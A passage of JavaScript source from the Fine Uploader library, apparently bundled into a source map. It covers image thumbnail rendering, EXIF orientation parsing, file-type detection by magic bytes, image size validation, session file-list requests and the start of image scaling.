into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n        // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {\n                identifiable = true;\n                return false;\n            }\n        });\n\n        return identifiable;\n    }\n\n    qq.extend(this, {\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by reading magic\n         * bytes in the beginning of the file, so this is an asynchronous operation.  Before we attempt to read the\n         * file, we will examine the blob's type attribute to save CPU cycles.\n         *\n         * @returns {qq.Promise} Promise that is fulfilled when identification is complete.\n         * If successful, the MIME string is passed to the success handler.\n         */\n        isPreviewable: function() {\n            var self = this,\n                identifier = new qq.Promise(),\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            log(qq.format(\"Attempting to determine if {} can be rendered in this browser\", name));\n\n            log(\"First pass: check type attribute of blob object.\");\n\n            if (this.isPreviewableSync()) {\n                log(\"Second pass: check for magic bytes in file header.\");\n\n                qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {\n                    qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {\n                        if (isIdentifiable(bytes, hex)) {\n                            // Safari is the only supported browser that can deal with TIFFs natively,\n                            // so, if this is a TIFF and the UA isn't Safari, declare this file \"non-previewable\".\n                            if (mime !== \"image/tiff\" || qq.supportedFeatures.tiffPreviews) {\n                                previewable = true;\n                                identifier.success(mime);\n                            }\n\n                            return false;\n                        }\n                    });\n\n                    log(qq.format(\"'{}' is {} able to be rendered in this browser\", name, previewable ? \"\" : \"NOT\"));\n\n                    if (!previewable) {\n                        identifier.failure();\n                    }\n                },\n                function() {\n                    log(\"Error reading file w/ name '\" + name + \"'.  Not able to be rendered in this browser.\");\n                    identifier.failure();\n                });\n            }\n            else {\n                identifier.failure();\n            }\n\n            return identifier;\n        },\n\n        /**\n         * Determines if a Blob can be displayed natively in the current browser.  This is done by checking the\n         * blob's type attribute.  This is a synchronous operation, useful for situations where an asynchronous operation\n         * would be challenging to support.  Note that the blob's type property is not as accurate as reading the\n         * file's magic bytes.\n         *\n         * @returns {Boolean} true if the blob can be rendered in the current browser\n         */\n        isPreviewableSync: function() {\n            var fileMime = fileOrBlob.type,\n                // Assumption: This will only ever be executed in browsers that support `Object.keys`.\n                isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0,\n                previewable = false,\n                name = fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name;\n\n            if (isRecognizedImage) {\n                if (fileMime === \"image/tiff\") {\n                    previewable = qq.supportedFeatures.tiffPreviews;\n                }\n                else {\n                    previewable = true;\n                }\n            }\n\n            !previewable && log(name + \" is not previewable in this browser per the blob's type attr\");\n\n            return previewable;\n        }\n    });\n};\n\nqq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {\n    \"image/jpeg\": \"ffd8ff\",\n    \"image/gif\": \"474946\",\n    \"image/png\": \"89504e\",\n    \"image/bmp\": \"424d\",\n    \"image/tiff\": [\"49492a00\", \"4d4d002a\"]\n};\n","/*globals qq*/\n/**\n * Attempts to validate an image, wherever possible.\n *\n * @param blob File or Blob representing a user-selecting image.\n * @param log Uses this to post log messages to the console.\n * @constructor\n */\nqq.ImageValidation = function(blob, log) {\n    \"use strict\";\n\n    /**\n     * @param limits Object with possible image-related limits to enforce.\n     * @returns {boolean} true if at least one of the limits has a non-zero value\n     */\n    function hasNonZeroLimits(limits) {\n        var atLeastOne = false;\n\n        qq.each(limits, function(limit, value) {\n            if (value > 0) {\n                atLeastOne = true;\n                return false;\n            }\n        });\n\n        return atLeastOne;\n    }\n\n    /**\n     * @returns {qq.Promise} The promise is a failure if we can't obtain the width & height.\n     * Otherwise, `success` is called on the returned promise with an object containing\n     * `width` and `height` properties.\n     */\n    function getWidthHeight() {\n        var sizeDetermination = new qq.Promise();\n\n        new qq.Identify(blob, log).isPreviewable().then(function() {\n            var image = new Image(),\n                url = window.URL && window.URL.createObjectURL ? window.URL :\n                      window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL :\n                      null;\n\n            if (url) {\n                image.onerror = function() {\n                    log(\"Cannot determine dimensions for image.  May be too large.\", \"error\");\n                    sizeDetermination.failure();\n                };\n\n                image.onload = function() {\n                    sizeDetermination.success({\n                        width: this.width,\n                        height: this.height\n                    });\n                };\n\n                image.src = url.createObjectURL(blob);\n            }\n            else {\n                log(\"No createObjectURL function available to generate image URL!\", \"error\");\n                sizeDetermination.failure();\n            }\n        }, sizeDetermination.failure);\n\n        return sizeDetermination;\n    }\n\n    /**\n     *\n     * @param limits Object with possible image-related limits to enforce.\n     * @param dimensions Object containing `width` & `height` properties for the image to test.\n     * @returns {String || undefined} The name of the failing limit.  Undefined if no failing limits.\n     */\n    function getFailingLimit(limits, dimensions) {\n        var failingLimit;\n\n        qq.each(limits, function(limitName, limitValue) {\n            if (limitValue > 0) {\n                var limitMatcher = /(max|min)(Width|Height)/.exec(limitName),\n                    dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1),\n                    actualValue = dimensions[dimensionPropName];\n\n                /*jshint -W015*/\n                switch (limitMatcher[1]) {\n                    case \"min\":\n                        if (actualValue < limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                    case \"max\":\n                        if (actualValue > limitValue) {\n                            failingLimit = limitName;\n                            return false;\n                        }\n                        break;\n                }\n            }\n        });\n\n        return failingLimit;\n    }\n\n    /**\n     * Validate the associated blob.\n     *\n     * @param limits\n     * @returns {qq.Promise} `success` is called on the promise is the image is valid or\n     * if the blob is not an image, or if the image is not verifiable.\n     * Otherwise, `failure` with the name of the failing limit.\n     */\n    this.validate = function(limits) {\n        var validationEffort = new qq.Promise();\n\n        log(\"Attempting to validate image.\");\n\n        if (hasNonZeroLimits(limits)) {\n            getWidthHeight().then(function(dimensions) {\n                var failingLimit = getFailingLimit(limits, dimensions);\n\n                if (failingLimit) {\n                    validationEffort.failure(failingLimit);\n                }\n                else {\n                    validationEffort.success();\n                }\n            }, validationEffort.success);\n        }\n        else {\n            validationEffort.success();\n        }\n\n        return validationEffort;\n    };\n};\n","/* globals qq */\n/**\n * Module used to control populating the initial list of files.\n *\n * @constructor\n */\nqq.Session = function(spec) {\n    \"use strict\";\n\n    var options = {\n        endpoint: null,\n        params: {},\n        customHeaders: {},\n        cors: {},\n        addFileRecord: function(sessionData) {},\n        log: function(message, level) {}\n    };\n\n    qq.extend(options, spec, true);\n\n    function isJsonResponseValid(response) {\n        if (qq.isArray(response)) {\n            return true;\n        }\n\n        options.log(\"Session response is not an array.\", \"error\");\n    }\n\n    function handleFileItems(fileItems, success, xhrOrXdr, promise) {\n        var someItemsIgnored = false;\n\n        success = success && isJsonResponseValid(fileItems);\n\n        if (success) {\n            qq.each(fileItems, function(idx, fileItem) {\n                /* jshint eqnull:true */\n                if (fileItem.uuid == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid UUID - ignoring.\", idx), \"error\");\n                }\n                else if (fileItem.name == null) {\n                    someItemsIgnored = true;\n                    options.log(qq.format(\"Session response item {} did not include a valid name - ignoring.\", idx), \"error\");\n                }\n                else {\n                    try {\n                        options.addFileRecord(fileItem);\n                        return true;\n                    }\n                    catch (err) {\n                        someItemsIgnored = true;\n                        options.log(err.message, \"error\");\n                    }\n                }\n\n                return false;\n            });\n        }\n\n        promise[success && !someItemsIgnored ? \"success\" : \"failure\"](fileItems, xhrOrXdr);\n    }\n\n    // Initiate a call to the server that will be used to populate the initial file list.\n    // Returns a `qq.Promise`.\n    this.refresh = function() {\n        /*jshint indent:false */\n        var refreshEffort = new qq.Promise(),\n            refreshCompleteCallback = function(response, success, xhrOrXdr) {\n                handleFileItems(response, success, xhrOrXdr, refreshEffort);\n            },\n            requesterOptions = qq.extend({}, options),\n            requester = new qq.SessionAjaxRequester(\n                qq.extend(requesterOptions, {onComplete: refreshCompleteCallback})\n            );\n\n        requester.queryServer();\n\n        return refreshEffort;\n    };\n};\n","/*globals qq, XMLHttpRequest*/\n/**\n * Thin module used to send GET requests to the server, expecting information about session\n * data used to initialize an uploader instance.\n *\n * @param spec Various options used to influence the associated request.\n * @constructor\n */\nqq.SessionAjaxRequester = function(spec) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            endpoint: null,\n            customHeaders: {},\n            params: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            onComplete: function(response, success, xhrOrXdr) {},\n            log: function(str, level) {}\n        };\n\n    qq.extend(options, spec);\n\n    function onComplete(id, xhrOrXdr, isError) {\n        var response = null;\n\n        /* jshint eqnull:true */\n        if (xhrOrXdr.responseText != null) {\n            try {\n                response = qq.parseJson(xhrOrXdr.responseText);\n            }\n            catch (err) {\n                options.log(\"Problem parsing session response: \" + err.message, \"error\");\n                isError = true;\n            }\n        }\n\n        options.onComplete(response, !isError, xhrOrXdr);\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"GET\"],\n        method: \"GET\",\n        endpointStore: {\n            get: function() {\n                return options.endpoint;\n            }\n        },\n        customHeaders: options.customHeaders,\n        log: options.log,\n        onComplete: onComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        queryServer: function() {\n            var params = qq.extend({}, options.params);\n\n            options.log(\"Session query request.\");\n\n            requester.initTransport(\"sessionRefresh\")\n                .withParams(params)\n                .withCacheBuster()\n                .send();\n        }\n    });\n};\n","/* globals qq, ExifRestorer */\n/**\n * Controls generation of scaled images based on a reference image encapsulated in a `File` or `Blob`.\n * Scaled images are generated and converted to blobs on-demand.\n * Multiple scaled images per reference image with varying sizes and other properties are supported.\n *\n * @param spec Information about the scaled images to generate.\n * @param log Logger instance\n * @constructor\n */\nqq.Scaler = function(spec, log) {\n    \"use strict\";\n\n    var self = this,\n        customResizeFunction = spec.customResizer,\n        includeOriginal = spec.sendOriginal,\n        orient = spec.orient,\n        defaultType = spec.defaultType,\n        defaultQuality = spec.defaultQuality / 100,\n        failedToScaleText = spec.failureText,\n        includeExif = spec.includeExif,\n        sizes = this._getSortedSizes(spec.sizes);\n\n    // Revealed API for instances of this module\n    qq.extend(this, {\n        // If no targeted sizes have been declared or if this browser doesn't support\n        // client-side image preview generation, there is no scaling to do.\n        enabled: qq.supportedFeatures.scaling && sizes.length > 0,\n\n        getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {\n            var self = this,\n                records = [],\n                originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData,\n                identifier = new qq.Identify(originalBlob, log);\n\n            // If the reference file cannot be rendered natively, we can't create scaled versions.\n            if (identifier.isPreviewableSync()) {\n                // Create records for each scaled version & add them to the records array, smallest first.\n                qq.each(sizes, function(idx, sizeRecord) {\n                    var outputType = self._determineOutputType({\n                        defaultType: defaultType,\n                        requestedType: sizeRecord.type,\n                        refType: originalBlob.type\n                    });\n\n                    records.push({\n                        uuid: qq.getUniqueId(),\n                        name: self._getName(originalFileName, {\n                            name: sizeRecord.name,\n                            type: outputType,\n                            refType: originalBlob.type\n                        }),\n                        blob: new qq.BlobProxy(originalBlob,\n                        qq.bind(self._generateScaledImage, self, {\n                            customResizeFunction: customResizeFunction,\n                            maxSize: sizeRecord.maxSize,\n                            orient: orient,\n                            type: outputType,\n                            quality: defaultQuality,\n                            failedText: failedToScaleText,\n                            includeExif: includeExif,\n                            log: log\n                        }))\n                    });\n                });\n\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: includeOriginal ? originalBlob : null\n                });\n            }\n            else {\n                records.push({\n                    uuid: originalFileUuid,\n                    name: originalFileName,\n                    size: originalBlob.size,\n                    blob: originalBlob\n                });\n            }\n\n            return records;\n        },\n\n        handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {\n            var self = this,\n                buttonId = file.qqButtonId || (file.blob && file.blob.qqButtonId),\n                scaledIds = [],\n                originalId = null,\n                addFileToHandler = api.addFileToHandler,\n                uploadData = api.uploadData,\n                paramsStore = api.paramsStore,\n                proxyGroupId = qq.getUniqueId();\n\n            qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {\n                var blobSize = record.size,\n                    id;\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    blobSize = -1;\n                }\n\n                id = uploadData.addFile({\n                    uuid: record.uuid,\n                    name: record.name,\n                    size: blobSize,\n                    batchId: batchId,\n                    proxyGroupId: proxyGroupId\n                });\n\n                if (record.blob instanceof qq.BlobProxy) {\n                    scaledIds.push(id);\n                }\n                else {\n                    originalId = id;\n                }\n\n                if (record.blob) {\n                    addFileToHandler(id, record.blob);\n                    fileList.push({id: id, file: record.blob});\n                }\n                else {\n                    uploadData.setStatus(id, qq.status.REJECTED);\n                }\n            });\n\n            // If we are potentially uploading an original file and some scaled versions,\n            // ensure the scaled versions include reference's to the parent's UUID and size\n            // in their associated upload requests.\n            if (originalId !== null) {\n                qq.each(scaledIds, function(idx, scaledId) {\n                    var params = {\n                        qqparentuuid: uploadData.retrieve({id: originalId}).uuid,\n                        qqparentsize: uploadData.retrieve({id: originalId}).size\n                    };\n\n                    // Make sure the UUID for each scaled image is sent with the upload request,\n                    // to be consistent (since we may need to ensure it is sent for the original file as well).\n                    params[uuidParamName] = uploadData.retrieve({id: scaledId}).uuid;\n\n                    